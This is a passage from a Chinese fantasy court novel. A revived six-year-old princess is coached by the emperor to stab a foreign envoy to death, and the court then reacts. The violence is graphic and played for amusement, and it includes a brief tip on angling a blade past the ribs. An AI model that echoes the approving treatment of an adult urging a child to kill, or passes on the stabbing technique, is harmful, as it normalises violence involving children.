那群人早就失去了一开始对大公主美貌的垂涎,他们反手就把大公主给杀了。 那只是非常随便的一次挥刀。 那个女人的头一歪,然后就掉落了下去。 谢萍尖叫着,挣扎着。 她不知道自己做错了什么事情,让自己和母亲沦落到今天这一步,但是她知道,如果自己一点不挣扎,那未来的希望就完全没有了。 可是还没等她为自己的母亲怨恨崩溃,她的头就被砍下来了。 她的生命终止在了六岁的年纪。 第57章 六岁,无论是放在古代还是现代都还只是一个小孩子,还在换牙的年龄。 谢萍对自己的未来实际上是有期待的。 只要活着,就可能有好事发生,就像是当初她的母亲对她倾注关注,不再无视她。 只要等待得足够久,就会有一些奇迹发生。 谢萍一直在等待这些奇迹,然而她再也等不到这些奇迹了。 她死了。 头被砍下来的感觉十分糟糕。 其实死亡也不过是发生在短短数秒的时间内,但是那种痛苦在本人感觉的时候却好像是永恒的。 谢萍从来没有想过——其实也没来得及想——自己还能够再次睁开眼睛。 她睁开眼睛的时候,正面对着的是一个完全陌生的人。 那个人的双手正捧着她的头,让谢萍和他对视。 但与其说是对视,不如说是在观察某个物品。 这个人的眼睛是蓝色的,这是谢萍从未见过的颜色。 萧国人虽然被称为蛮夷,但他们的外表实际上和中国人并没有多少差距,最大的差距其实是打扮和习俗,可能还有一些说话的方式。 只是这个人身上穿得衣服有点像是那个在她母亲和她被杀的时候躲在一旁看着这里的无能的外祖父的穿着。 谢萍觉得自己的脖子被抻得很疼。 谢萍想要挣扎出来,但是对方的双手着实有力。 不过这双手的主人似乎并没有一直抓着谢萍的打算,他只是看着谢萍的恐惧,在盯着看了一会之后径直地松开了手。 谢萍可没有亚夏那么好的身体素质。 谢吾德哪怕把亚夏抛出去,亚夏也能平稳落地,但是谢吾德哪怕只是松开手,让谢萍自己自由落体也会让谢萍崴脚,站立不稳。 她伸手按住了盖在自己身上的帘子,一脚踩在了一个有点柔软的东西上。 谢萍惊恐中猛地回头,看到的是一个打扮像是萧国人的家伙。 谢萍满眼都是恐惧。 她一时之间不知道自己是不是做了一个怪异的噩梦,梦到自己被杀又被复活。 毕竟在看到一个怪异的家伙又碰到了萧国人这件事情好像有点没有逻辑。 她做过很多类似的噩梦。 尔雅扶住了谢萍,她弯下腰,跟谢萍介绍:“这位是如今荣国的皇帝。” 她没有说谢吾德是谢萍的表兄。 尔雅不太确定谢吾德会不会愿意承认这件事情。 她只是想起来谢吾德之前被林耀祖提示的时候,他脸上的神色并不怎么愉快。 他可能是看不出谢萍的能力的。 谢萍飞快地瞥了一眼谢吾德。 她之前想过自己有一天可能会和自己的母亲回去,但是她从来没有想过居然会是以这样的形式。 她还是没能搞明白现在的情况。 “这位呢,是萧国的使者。”谢吾德指着这位使者,对谢萍介绍道,“你是从萧国回来的,我想你和萧国人已经很熟悉了。” 萧国使者之前似乎介绍过自己的名字,但是佶屈聱牙的,反正早晚是个死人,谢吾德就完全没必要记住。 谢萍抿紧自己的嘴唇,她的手抓紧了自己身上的帘子,手指关节泛白。 她不知道之前记忆中的东西是真的还是假的,不确定现在的自己是在现实还是在梦中。 谢萍在看到母亲死亡以及感受自己死亡时那一瞬间的愤恨与恐惧深深地烙印在了她的身上。 刻骨铭心的怨恨从她的心里攀爬向上,但是她什么都不能做,什么也不敢做。 她并不觉得是因为自己懦弱,她只是一个小孩子,一个小孩子是无法战胜成年人的。 生活在萧国从来没有得到过一个良好待遇的谢萍很早之前就悟到了一个道理:她需要活下去,然后长大,在长大之后,她才有复仇的力量,才有机会拯救他想要救的人——这也是她想象中的好事。 对于大公主这样的人来说,自己的人生在被掳到萧国这时候就完蛋了,别人的口水能够喷死她。 她对未来没有任何的希望,能让当时的她活下去最大的原因就是自己的女儿了。 不管怎么样,她希望自己能看到自己的女儿长大,能够离开这片充满了痛苦回忆的地方。 为此,她能够献上的只有自己的生命了。 可能她现在的勇气是来自于无知者无畏,但是这好歹是一个期待,也让她不至于太过冲动。 谢吾德和谢萍打了一个招呼:“你。” 余文彦深深地叹了一口气。 对于陛下来说,名字这种东西真的就烫嘴吗? “你真的让我很丢脸呢。”谢吾德直截了当地对谢萍说道。 谢萍迷茫地看着谢吾德,她是半点都不知道刚刚天空上发生的事情。 毕竟她不是睡了,而是死了,怎么有机会知道这种事情。 谢萍仰头看着谢吾德,咬紧自己的嘴唇却什么都没有说。 自己没什么可辩解的,而且她没办法为自己完全不知道的事情辩解。 尔雅看着谢萍,脑子里在想着另外一个问题:陛下不管是要发癫还是要发难的,总得让这个小孩把衣服穿好吧? 就这么扯着一条帘子总感觉不太好。 尔雅想了又想,还是开口提醒了一句:“陛下的意思是……” 她虽然那觉得谢吾德能够选择谢萍,那说明谢萍是个聪明孩子,但是她现在才六岁,不能对她的要求太高。 只是谢吾德就算明白这个道理,也懒得理会这个道理,所以她要开口替谢萍说话,好歹让她明白现在的情况。 谢吾德性格很直,但是偶尔又喜欢神神叨叨的。 谢吾德从自己的袖子里取出了一把匕首,然后把匕首递给了谢萍。 谢吾德的袖子里什么都有。 余文彦觉得哪天谢吾德从袖子里拉出一个人他都只会惊讶三十秒。 谢吾德把这把递到谢萍的面前,见谢萍没有接,他伸手就把这把匕首强行塞她手里了。 “你现在有没有什么想要对他做的事情呢?”谢吾德的声音中带着一点蛊惑。 谢吾德的蛊惑相当不常规。 一般人在蛊惑别人的时候都会制造出自己才是好人,对方应该无条件相信他的假象,但是谢吾德从来不做这些事情。 他看任何人的眼睛中都带着轻蔑。 就算不是轻蔑,最好的也是隐隐地无视——就像是余文彦所感受到的那样。 但是谢吾德却有一种别人必须听他的理直气壮感。 这个世界上缺乏方向的迷茫的人其实一直都很多,很多时候不过是迷茫多少的问题。 此刻谢萍看着自己手中的匕首,她呆愣了许久,谢吾德保持着把匕首塞进她手里的姿势。 谢吾德想,他再等十秒。 他想要谢萍杀了萧国使者。 这么短的时间问一个孩子要不要决定杀人,这其实很不合理,但是谢吾德习惯了世界围着他转。 然而没等到他数到十,谢萍几乎是匆忙地就抓过了谢吾德的匕首。 她的匆忙并非是来自于谢吾德的压力,而是出于纯粹的兴奋。 她的眼睛瞪得很大,鼻孔也扩大,脸上多了几分潮红,她的脸上充满了扭曲和恐怖,怨恨有如实质一样的爆发而出。 她一刀刺进了萧国使者的胸口。 她想要杀死萧国使者吗? 不……不止如此。 这个目标太小了,她想杀掉所有的萧国人。 从自己有记忆以来,她的所有苦难都来自于萧国人。 至少至少,也得把萧国的贵族清洗掉。 谢吾德其实无需说什么,谢萍能够从萧国使者的动作中看出他的怯懦,他在害怕谢吾德。 所以只要谢吾德站在那里,萧国使者的反抗就注定会变得虚弱,如果他敢反抗谢吾德,绝对会帮她控制住人。 那还说什么? 谢萍不知道自己在哪,也不知道自己要到哪去,她现在想做的只有一件事情:大开杀戒。 即使这个世界的人类在亚夏看来并不是纯粹的人类,但是他们基因原本的来源就是正经的人类。 作为这个世界站在食物链顶峰的物种,以狩猎站在世界顶点的生物,“人类”是会对血液兴奋的。 恐惧和战栗往往与兴奋混杂在一起。 一刀直接见血。 谢萍实际上是冲着萧国使者的心口去的,如果他不是因为忌惮着谢吾德就站在一旁,不然以他的力气完全能拦得住谢萍。 谢萍在他的身上划了一个小口,那里不是别的地方,正是萧国使者胸口偏下的地方。 萧国使者刚刚看到了谢萍是冲着他的心脏而去的,刺得并不准。 小孩子哪里知道哪里是心脏,他们笨手笨脚的。 谢萍作为一个小孩,力气也就摆在那里,就算女孩发育早,那也只是和同龄的男孩比较,没法和成年人比。 萧国使者自然不可能打不过一个六岁的小姑娘,这一刀也没有刺进去多少。 如果不是谢吾德在这里,萧国使者一拳就能把她打翻在地。 谢吾德并不满意谢萍的动作。 谢萍的动作实在是太过于笨拙了。 作为杀人专业户,谢吾德要熟悉各种人体构造。 虽然没达到亚夏那种庖丁解人的程度,但是也能精准地一击毙命,或者是一万击都要不了一个人的命。 只是看了一眼,他的急性子就上来了。 谢吾德干脆蹲了下来。 他这个身体现在只有十六岁,目前也只不过是一米八出头,但是蹲下来的时候也比谢萍也高很多。 他对谢萍说着:“你刚刚刺进去的地方叫肋骨。你的力气太小了,如果竖着拿着匕首的话,会被肋骨挡下来的。你应该横着拿。” 谢吾德别的不提,劲大,家里剁大骨头都是喊他来,他完全可以不管肋骨,一剑捅进去完全能把肋骨戳断。 但是小孩子力气太小了。 谢吾德其实不太能充分理解力气小的人为什么力气那么小,黄桃罐头开不开就算了,矿泉水瓶这种他幼儿园就能随手扭开的东西为什么还有人开不开。 不过没关系,他有技巧。 谢吾德用戴着手套的手指点着谢萍握匕首的姿势,顺便还让谢萍摸摸她自己的肋骨,感受一下人体的结构。 小孩子的认知能力非常有限,毕竟大脑还没有发育完善,但是凭借某种生物本能,她也意识到了。 于是她转动手臂,打算再次用匕首去捅这个倒在地上的萧国使者。 萧国使者立刻挣扎。 开玩笑,他还不想死,更别说是以这种屈辱的方式死去。 如果皇帝直接把他拖下去杀掉,那他还能微笑以对,甚至是痛骂皇帝,但是被皇帝教唆一个六岁的女童把他杀死,那他就算是死了也会被当成笑话来看的! 他知道自己会死,但是被荣国皇帝杀死,和被他们掳走了公主的女儿、一个不知父亲是谁的小丫头杀死,那是两种完全不同的概念。 一个是天,一个在地。 萧国如今也有自己的史书,他也会在意青史评价的。 萧国使者刚打算挣扎,却被谢吾德一脚踩在了肩膀上,把他踩翻在地。 谢吾德的身体微微前倾,看着萧国试着像是个翻盖乌龟一样爬不起来就哈哈大笑。 谢萍似乎也被他的笑感染了,也大笑起来。 谢吾德虽然又懒又宅,但是他的身体素质在人类中是属于相当优秀的那一类。 最让他忌惮的是打赢了要不要赔偿别人的医药费。 但是现在谢吾德不在意了。 他现在可是皇帝,谁敢来找他要医药费吗? 第58章 那个萧国使者只是被谢吾德踩在脚下,双手没有受到约束,他还打算去抓谢吾德的腿。 谢吾德身旁的太监不会允许这种事发生,谢吾德有多矫情洁癖他们已经看出来了。 他们抓住了萧国使者的双手,把他固定在了地上。 朝臣们的表情难以形容。 他们很难面对现在这一幕。 拜托,现在的气氛真的很诡异。 谢吾德和谢萍都在笑。 刚刚绝大多数人都没听清“立堂妹为太子”这句话,但是有些人的确耳朵尖反应快,听到了这个消息的人的表情就有点奇怪,然后悄悄地和边上关系好的人说这件事。 虽然谢吾德和谢萍的笑给人的感觉完全不一样,谢萍给人的感觉就像是压抑久了,精神有点不正常,但是谢吾德就是纯粹在发癫。 南荣是因为萧国才变成南荣的,现在谢吾德这么对待萧国使者,他们着实是不太适应。 世家耀武扬威的基石是他们掌握了地方的土地、金钱以及人脉。 只要他们想,能够让任何一个人横死当场。 只是萧国是游牧起家,他们又不是生活在这片土地上的人,他们上来就是要抢走土地、金钱以及毁掉他们的人脉的。 世家自然是会害怕萧国的。 从某种角度上来说,这何尝不是被打断了脊梁骨。 但是转念一想,又觉得别说是萧国使者了,太上皇的尸体还在外头摆着,不知道血还没有流干。 他们的皇帝都死透了,那么萧国使者怎么就不能死。 他们最受不了的是谢吾德想要在大庭广众之下直接对人动刑。 谢珖也只是被他砍下头来,不过是一瞬间的事情,大家都没有反应过来,也没来得及拦住谢吾德,所以情绪还没有酝酿到位的。 他们这些人对皇帝的身份的尊重还是远远胜于对萧人的畏惧。 谢吾德复活了谢萍,但是他们并不觉得谢吾德之后会复活谢珖。 谢珖死了,那就是真的死透了。 而且复活…… 他们再傻也意识到了谢吾德完全是一个过分特殊的皇帝,过去一切与皇帝相处的经验都完全没办法用在谢吾德身上。 谢吾德的特殊恐怕是前无古人,后无来者。 就连那些古之圣贤都好像没有谢吾德这样离谱的能力。 虽然拿谢吾德和古之圣贤和谢吾德比完全就是在侮辱古之圣贤,一般古之圣贤都是能力和品性同样杰出,但是除了古之圣贤之外他们也不知道还有什么形容词来形容谢吾德这样离谱的人了。 有人想要上前劝谏。这是当时试图阻拦谢吾德登基的那个老臣。 只不过和上次其他人都放任他说话,这次,他却被身旁的人拦了下来。 “你疯了!”那个人对这位老臣说道。 “朝堂怎能轻易见血呢?”这位老臣实在是看不惯,希望不要把好好的一个宫殿变成了解剖场一般的做派。 更何况,没有办法接受的不只是他一个人,还有其他朝臣看上去都快要吐出来了。 太上皇的死,他固然感觉悲痛,但是太上皇已经死了,他总不能看着谢吾德犯了一个大错之后,还要犯其他的小错吧。 怎么可能因为一个人犯了大错就能容忍他之后犯小错? 这根本就不是为臣之道。 ……其实有些事他也不好意思说,太上皇以前做的离谱事情也不少,老臣虽然忠诚,现在也想要为太上皇的死亡默哀,但是却并没有以前当时听到开封城破的时候那种仿佛要呕血一般的痛苦。 他甚至想要找找越王府的翊善,想问问他是怎么教的谢吾德。 虽然他隐约也能感觉到翊善管不住谢吾德的,但是有责任就是有责任。 翊善还是这个老臣的学生。 老师教训学生不是更加顺理成章了吗? “别说了!”那个人又扯了他一下。 朝堂之上,没有多少友情,但却是有恩情的。 这位老臣虽然迂腐,但是勉强算是是心中有杆秤的那种迂腐。 他年轻的时候被人诬陷,还是这位老臣据理力争,率先发声,才让其他人活跃起来,最后洗清了他的罪名。 这不仅是救命之恩,还是对他全家的救命之恩。 “当初你听到开封城中发生的种种,你不也是跟随着朝廷来到锦京,觉得大荣不容人污蔑吗?现在陛下只是把仇怨报复回去,你怎么还不同意了?” “话是这么说,但是做事情总要有章法。现在陛下所行之事就失了体统。我等臣子,自然要为君王匡正得失啊。” 同僚看了这位老臣一眼。 这这句话一出,就让人没法说别的话了。 “更何况,这件事情要是传到了萧国那里,他们群情激愤,士气大涨,最后不想要归心该怎么办?”老臣虽然迂腐,但是他不是傻子,他自然有做事的原因。他只是太过于执着自己的原则了,并不是不会动脑子,不然他当年大概就会以身殉国,“总不能把所有人都杀了吧?” ……好家伙,保守派觉得激进派太保守了。 “你觉得陛下还会让萧国继续存在下去吗?”同僚摇头,谢吾德是激进派中的激进派,“陛下已经够特立独行了,不差这一点了。” 老臣有点迷茫。 他刚刚说那些话更多是在说气话,不是认真的。 时代变得实在是太快了。 他过去一直生活在某种框架之下,那些规矩已经深入到了他的骨髓,成为了他的一部分。 他也不是从来没有思考过自己做的某些事情是否恰当。 如果他做的事情真的那么恰当的话,为什么会被那么多人反对?总不能是因为所有人都是奸臣吧? 老臣混沌一生都没有施展自己的抱负,还是因为旧帝南迁至南荣,谢珖看他忠诚,才给了他一个官职。 当时老臣并没有觉得很高兴。 如果是因为看在他的年龄和忠诚才给的他的这个官位的话,那他觉得这其实是一种侮辱。 他是世家出身,如果愿意和人沆瀣一气的话,不难得到一个不错的位置。 但是雷霆雨露俱是君恩,他不可能拒绝,而且只有答应下来才有可能做什么。 不过他都这个年纪了,他也认清了很多事情。 他可能并不是很有实际办事的能力。 同僚继续劝他:“你先别急着去拦陛下。等着看看,如果陛下所作所为,没能达成你心中的目标的话,你再去劝谏他。不然陛下在激动之下把你给杀了怎么办?” 老臣想要说些什么。 同僚适当地补充了一句:“到时候还有谁会劝谏陛下呢?余文彦吗?” 老臣的表情变得极为奇怪。 他为人迂腐,但是也正直,不喜欢在背后说人坏话。 可是即使如此,他也感到了深深的荒谬。 余文彦有能力,但是他也不是很有骨气敢于直言进谏的人,谢吾德提出需求他一直都是点头答应的那一个。 而且老臣看看周围的人,一群人虽然看上去表情都不太好,但是却都一句话不说,就是沉默地看着眼前发生的事情。 老臣知道自己经常被当枪使,不过他只是觉得这都是他想要做的事情。 只是今天那群喜欢把他顶在前面的家伙也都一声不吭,他就知道自己根本就不可能像以前那样掀起多少声浪了。 他忽然对那些人产生了鄙夷。 这群家伙该不会真就是欺软怕硬的货色吧? 之前在皇帝面前那么硬气,纯属是皇帝性格比较软,而且祖制就对各个学派的学说都比较纵容。 现在谢吾德真的敢把跟他呲牙的所有人都杀了,他们就彻底怂了。 老臣做好了为自己说的话去死的准备,那群人纯属就是仗着法不责众在那里狂吠。 甚至都比不上那群萧国人。 虽然是荣国人都鄙夷萧国是蛮夷,不知礼数,但是萧国的确是一个大国。而且经过几十上百年的发展,萧国的各项制度已经很完善了。 抛开偏见的话,他们其实也算是一个大国了。 一个大国自然是有自己的气度所在的。 甚至论自信心,萧国还远胜荣国。 相比起荣国,荣国的皇帝可能以为只要给萧国喂饱了,那萧国就能够像狗一样对他们献上忠诚。 但事实上在萧国面前,荣国才更像是那条狗。 被人用脚又踹又打,还冲着萧国甩尾巴。 现在萧国的使臣也算是得到了他们的报应,得到了一个不搞事就浑身不舒服的荣国热心皇帝——谢吾德。 老臣深深地叹了一口气。 他得想想,他得好好想想了. 萧国的使者被捅了好几刀,还没死,但是也快要没气了,纯靠肾上腺素续命。 谢吾德本来对于小孩子不感兴趣,因为小孩子往往肮脏又娇气,满地打滚往嘴巴里塞东西就更是讨厌了,甚至被家长宠坏了之后,会故意做一些坏事吸引大人注意力,或者发现谢吾德不喜欢被人摸之后就故意来摸他。 无毛裸猿的幼崽最坏了! 别的都无所谓,反正谢吾德平时又不会和小孩子打交道。 谢吾德第二讨厌小孩子的地方就是小孩子很多时候压根就不理解谢吾德的一些意思。 可是在谢萍身上,谢吾德没能看到这一点。 因为谢萍是一个非常谨慎且伪装得不错的孩子。 只要别把自己的蠢摆在脸上,谢吾德觉得自己都可以容忍。 她对这个世界的一切都是恐惧而谨慎的,在这份恐惧和谨慎下面又有一种不服输的狠劲。 她很怕谢吾德。 这点谢吾德都能够轻易地感觉出来,他在某些事情上有野兽一般的直觉。 谢吾德感觉自己似乎是真的有点欣赏这个名叫谢萍的堂妹。 她真的愿意听他的话把那个人给捅死,而且她真的有这么做的胆子。 这个小孩实在是太狠了。 之前看着像是小绵羊可怜,脑袋摆在谢吾德的面前,就像是被送上祭台的猪头一样,但是她一旦动手,谢吾德就看出来是个偏激的癫子。 如果给她一挺机枪,再给她一个小推车,她说不定就敢开着车去把萧国人全都突突了。 小孩子有时候才更恐怖,他们下手没轻没重的,不像其他荣国人那样,还要考虑这个,还要考虑那个,他们只在乎自己的情绪。 谢吾德想,难怪在推演中的未来,他会选择谢萍当太子,这人的性格可实在是太对他胃口了。 虽然不管是正常人还是不正常人他都见得太多了,但是果然他就喜欢这种有点不正常的人。 他们更有趣一点。 第59章 不得不说,这个世界是亚夏用超级计算机分析出来并且推演的未来,准确性非常高。 这些数据是真的很清楚谢吾德喜欢什么样的人。 这个世界和所谓的“这个世界的现代部分”实际上是同时诞生的两个世界,但在准确性上,说是同一个也不为过。 再说了,这个事情除了谢吾德他们自己公布,目前其他人也很难验证真伪,除非他们的物理学理论有了什么新的突破,不然其他的一切都可以用蝴蝶效应来解释。 谢吾德不是一个好老师,他教了一会也就累了。 他任由着谢萍在那里把萧国使者给杀了泄愤。 他重新坐回了桌子上面,把自己的手套摘了,然后洗了好几遍的手。 戴手套和用水清洁纯属是心理作用,实际上就算是谢吾德的手套也没碰到这些尸体,不过习惯的力量是强大的。 谢吾德把手往后面一撑,翘着腿看着下面所有人。 谢吾德一扭头就看到林耀祖在那边震惊地盯着他。 尔雅用手肘捅了她好几次,她也没有什么反应。 他多看了尔雅一会,脑子里有了一个有点神奇的想法。 ……他看尔雅也挺机灵的。 谢吾德不是一个很敏锐的人,准确来说是懒得敏锐,这种懒也让他在这方面缺乏锻炼。 可是这段时间以他和尔雅的频繁接触,他也算是看出来了,这个尔雅绝对不是个普通宫女。 他努力想了想,想到尔雅之前似乎提到过他是谢敬明手下的宫女,但是谢吾德现在觉得恐怕没那么简单。 谢吾德不认人,也不认脸,但是能记得住这个人都和他大致有什么互动或者说过什么话。 就算尔雅真的是普通宫人,谢吾德觉得她在谢敬明的一切行动中所起到的也不是一个普通宫女的作用。 有些人的才华是锥处囊中,无法隐藏的。 有些问题只要问问谢敬明就能够得到答案。 谢敬明这段时间也不停地向他发出请求,想要和他接触——准确地说应该是向他献媚。 谢吾德也算是了解谢敬明。 如果把他的那些所谓的哥哥比作是动物的话,那谢敬明无疑是最好驯服的那种动物,只要打得足够狠,他就会向谢吾德屈服。 谢珖还以为自己做过皇帝,所以才更难以被打服。 现在谢吾德对他的打击已经足够了,而且谢吾德总觉得这个谢敬明有点受虐的体质。 之前谢吾德打他,他好像还很高兴,在高兴一会之后又摆出一副不情不愿的架势,这也让谢吾德不太愿意看见他。 欺负人就要看对方那种痛苦的表情,而不是看那个人一边痛苦又一边隐隐地露出享受的表情,这会让谢吾德感觉恶心。 说真的,纯变态有点克制他。 就像是谢吾德欣赏脑子不正常的人,但是真的完全不正常,他又会觉得受不了。 谢珖就是那种脑子不正常的货色,而且也挺极端的,但是谢吾德看他就觉得恶心。 这话他绝对不会和亚夏说的,不然亚夏肯定要和他来一句“又叶公好龙又抹不开面子”。 谢吾德以前还想问问,曾经的三皇子妃,问问她知不知道她老公居然是这样的货色?要不要考虑换个没那么变态的老公? 但是这个问题谢吾德没问出来,他有点担心谢珖在听到这个问题的时候会痛苦地呻.吟出声。 这完全是谢吾德的猜测,但是但凡有可能发生,谢吾德能气得一晚上都吃不下饭。 “死了吗?”谢吾德问谢萍。 满脸都是血的谢萍能够猜到谢吾德是在问她,她匆忙地扭过头看着谢吾德。 她看了看萧国使者。 她原本想要伸手试探一下呼吸的,可是她很快就想到人是可以憋气的。 所以她看向了萧国使者的大腿,狠狠地扎了下去。 人没动弹。 “陛下,应该是死了。”谢萍说道。 “哦,那尸体之后你自己处理吧。”谢吾德挥挥手说道。 谢萍点点头,正在思考自己该怎么做才能搬动这一大个的男性尸体。 但是谢吾德的本意其实是让谢萍自己决定是把死掉的萧国使者大卸八块送回萧国还是直接喂狗。 不过谢吾德现在更想问一个问题:“谁干的?” 朝中大臣瞅瞅地上的尸体,不约而同地沉默。 您老干的,和您老的堂妹一起干的。 不过现在在这里的人心里还是有数的,就连临川陈氏和琅琊王氏的老爷子在听说太上皇被谢吾德杀了之后也匆匆忙忙地赶了过来。 世家的那些大人物赶来不是因为别的,就怕谢吾德忽然发难,家里那些不成器的子弟没有让谢吾德息怒的本事,直接把谢吾德激怒了。 这些朝中的大人不先开口说话,没人敢越过他们说话。 聪明人都想明白了,谢吾德想要问的其实是:“是谁撺掇萧人把谢萍的头给砍下来的?” 余文彦觉得谢吾德不喜欢猜人心思,但是他有的时候说话还怪委婉的。 可能是单纯地觉得这么说字少或者觉得这么说有气势,同时顺便可以折磨人,看看别人有没有揣摩他的心思。 己所不欲,硬施于人。 谢吾德晃动着自己的腿,看着下面的人说道:“有没有人有思路?” 这些朝臣们你看看我,我看看你,就是没有人吭声。 开玩笑,谁会开口直接说呢? 其实他们中很多人都是知道嫌疑人大概率是临川陈氏,他们可都知道临川陈氏手上有新鲜东西。 只要他们不承认,谢吾德还能够读心吗? 本来这种招数只有父母在吓唬小孩子的时候才好用,但凡成年人稍微有一点经验和狡诈都不会承认的。 在这件事情上是真的坦白从宽牢底坐穿,抗拒从严回家过年。 而且皇帝直接问,也是他们完全没有想到的事情……直接问有什么用呢? 谢吾德该不会真的感觉他们会有人承认吗? 这的确是谢吾德简单粗暴的风格,他也不是第一次做了,但是每次听到谢吾德问这种让人无语的问题,还是让他们颇感无力。 只不过比起一开始的嘲笑,他们现在见识了谢吾德的种种可怕的手段,只感觉后背有点发凉。 别管谢吾德做事有多么粗暴吧,他最后都是能解决掉问题的。 他摆出这幅姿态就是要搞幺蛾子了。 但是依然没有人开口站出来说点什么。 他们一直在试探谢吾德的底线。 只要谢吾德不把他们所有人都给杀了,他们就会一直试探谢吾德的底线。 谢吾德等了十秒钟,看向李真:“朝中现在有几个世家势力比较大呢?” 谢吾德知道自己虽然让李真当了锦衣卫统领,可是不能真把他当成芒果脸手底下的那群已经被打磨好的熟练工,但是回答他这些问题还是没问题的。 李真忙恭敬地回答:“是琅琊王氏和临川陈氏。” “哦,是他们两个。那么他们两个如今的家主可在这朝上?”谢吾德用问询的眼光看着下面所有的人。 琅琊王氏和临川陈氏的人…… 其实有些事情很离谱。 谢吾德在这个世界起码待了六七年,但是真对这种热知识一无所知。 他现在看起来到处折腾,但是那是他逮到了自己喜欢的东西,如果没有,那待个六十年都没用。 陈老爷子和王老爷子脑袋中都忍不住流下了一滴细汗。 他们是不是不该赶来。 他们从谢吾德的话中感觉到了一丝不怀好意。 他想干什么? 谢吾德就像是只神经猫一样,蹲在那里甩着尾巴,谁也不知道下一秒他会不会给人来一爪子。 一般世家遇到这种货色能直接把人踹飞,但是偏偏这脑子有泡的猫能把他们一巴掌全扇死。 他们很想威胁李真,但是这事实在是没办法拦下来。 谢吾德手底下的所有人几乎都没有背景,李真是没有什么背景的人,他最大的就是那个胆子。 这段时间,李真带领他所谓的锦衣卫对世家豪门下手的频率令人发指。 他们这些世家大族被谢吾德新组建的锦衣卫天天登门敲诈。 没错,就是敲诈。 锦衣卫刚刚组建,谢吾德没有给他们派发什么任务,他基本上就是组了就忘了,但是这不妨碍李真揣摩谢吾德的心意:皇帝要和世家作对,那么他们这些锦衣卫就要狠狠地为难世家。 谢吾德只是暂时忘了有这件事情,他早晚有一天或者某一个时刻会心血来潮地问一句,到时候李真绝对要让谢吾德看到他的努力,要让谢吾德在听到他的话之后高兴地笑起来。 敲诈这些世家门阀,在李真看来就是一个非常大的乐子。 而且他也能捞上一点,给下面的人分一点。 在他看来,这也算是劫富济贫的好事了。 京城中的这些百姓最近也多了一个爱好,那就是看皇帝组建的锦衣卫花式折腾世家,偶尔还会被哪个心情好的锦衣卫送点小东西。 不是很值钱,但是拿到就是赚到。 谢吾德有时自称自己是喋血观众,觉得自己喜欢见血,但是这些普通人比他更喋血。 在菜市口看人被砍头就是这群平民百姓的乐趣,甚至这些普通人已经开始嘀咕着锦衣卫什么时候把这些世家都给抄家了。 他们未必能够完全意识到世家大族对他们的影响、对他们的盘剥,但是他们就是想要看到血流成河。 而且胆子大的赌场已经开盘了。 给普通人乐子也是李真的意思。 他们锦衣卫捞,是人之常情,但是也得给普通人沾点,起码能跟谢吾德说得过去。 不然谢吾德早晚也得把锦衣卫当成乐子给收拾了。 李真能够感觉谢吾德是个真没多少心的人,虽然他经常笑,而且笑起来还挺可爱迷人的,但是他没有多少感情,或者说,他根本就没把这个世界绝大多数人看在眼里,更不会放进心里了。 今天他们锦衣卫是他的刀,但是哪天这把刀成为了新的“世家”,谢吾德就会拿出磨刀石把他们这把刀打断了。 李真想想自己手底下的确有一些人有点没法听进他的话了。 他打算哪天把这些人拖出来献给谢吾德当乐子。 就跟给河伯献祭童男女一样地给谢吾德献祭乐子. 与普通人的欢乐形成对比是如今世家的人。 别提这段时间他们世家有多么汗流浃背了,尤其是琅琊王氏和临川陈氏这两个家族了。 他们早就看到了谢吾德如何煽动这些平民百姓杀死他们这些世家大族的光幕。 他们站在家门口,看着那些平民百姓。 那些百姓好像和以前一样,他们世家的人一瞪眼,他们就会跑掉。 但是在知道未来之后,他们总觉得出现在门口的这些平民百姓就像是盘桓在天上的兀鹫一样,只要他们世家倒下,他们就会扑上来撕碎他们的尸体。 现在赶走了,他们还会再来的。 ……犹如野外的野兽一样。 许多世家的人一度恶向胆边生,想着干脆雇一群人把他们都杀了。 可是这些人实在是太多了,杀了一批还会有一批,他们杀不过来,甚至他们雇佣杀人的人都可能是这些平民百姓的各种姻亲。 普通人之间也有姻亲故旧,事情一不小心就会传开,到时候他们世家说不定就要提前被普通人给杀了。 现在谢吾德已经把刀架在了他们的脖子上。 “他们现在在哪里?”谢吾德继续问道。 李真指出了陈王两家老爷子所在的位置。 两个老爷子看到刚刚坐下来没多久的谢吾德又站了起来。 谢吾德带着点雀跃地走到这两个人身边,他微微躬身看着他们,还是歪着脑袋的。 并非表达他的尊敬,而是这两个老爷子一米七都不到,如果想要凑近,那他必须得把腰弯下去一点。 谢吾德努力凹出一种恐怖片的氛围,把声音也压低了几分。 “好了,你们有谁愿意指认对方的吗?” 谢吾德觉得世界上绝大多数的坏事虽然都不敢说是陈王两家做的,但是首先怀疑他们绝对没问题。 谁让他们是最有能力离开荣国远赴萧国,买通萧人给他一个下马威的呢? 谢吾德觉得有什么问题先怀疑最强大的那两个,谁让他们的能力和动机都能够让他们做到这件事? 就算冤枉了也无所谓。 这么高的地位,这么高的封路,居然连管好下面的人都做不到。 打死活该。 王老爷子在心里直骂娘。 陈家这群家伙在做这件事情的时候没告诉他们,现在倒霉了居然把他给拉下水。 如果谢吾德情绪上头直接把他杀了该怎么办? 他们自视甚高,觉得他们就不应该因为谢吾德这种人白白地丢了性命。 谢吾德在陈王两家的老爷子身上来回打量着。 陈家和王家的人都十分激动,但是他们终究没有出来。 不是不孝,而是觉得他们在谢吾德的面前并没有什么面子,他们就算站出来了,恐怕也起不到什么作用。不过他们虽然没有立刻做什么,却都紧绷住了身体。 谢吾德盯着他们。 王老爷子和陈老爷子觉得自己像是砧板上的肉一样。 谢吾德之前努力想要塑造的恐怖片的氛围没有吓到这两个老狐狸,但是现在他的注视让他们身上有点发凉。 他们之前亲眼见过谢吾德怎么指点谢萍把萧国的使者给杀了。 谢吾德在个谢萍讲人类的身体骨骼和肌肉的排布。 大家都是君子远庖厨,谢吾德这都不是庖厨,而是直接进入到了仵作的境地。 他看上去就像是屠夫可以把猪牛羊切成一块一块挂起来卖一样把人也一块一块讲究地切开一样。 没人喜欢好像被人当成畜生一样地看着。 谢吾德似乎是想要挑一个他们看着最不顺眼的人下手。 就像是农户挑一只最讨厌的家畜宰了一样。 事实也的确如此。 这两个人很有看人的眼光,谢吾德就是这样的人。 谢吾德像是挑选完毕一样往陈老爷子的方向走了一步。 “今天的事情和你们有什么关系吗?”谢吾德满脸微笑地看着陈老爷子。 很显然,陈老爷子就是现在谢吾德最看不顺眼的存在。 “陛下,我们临川陈氏对陛下的忠诚应当是有目共睹的。从大荣开国之初,我等就对大荣忠心耿耿。无论是金钱还是财富,我们陈氏都是竭尽全力的……” 谢吾德懒得听这些话。 大荣建立? 那和他有什么关系? 这群人再逼逼他就宣布大荣灭亡。 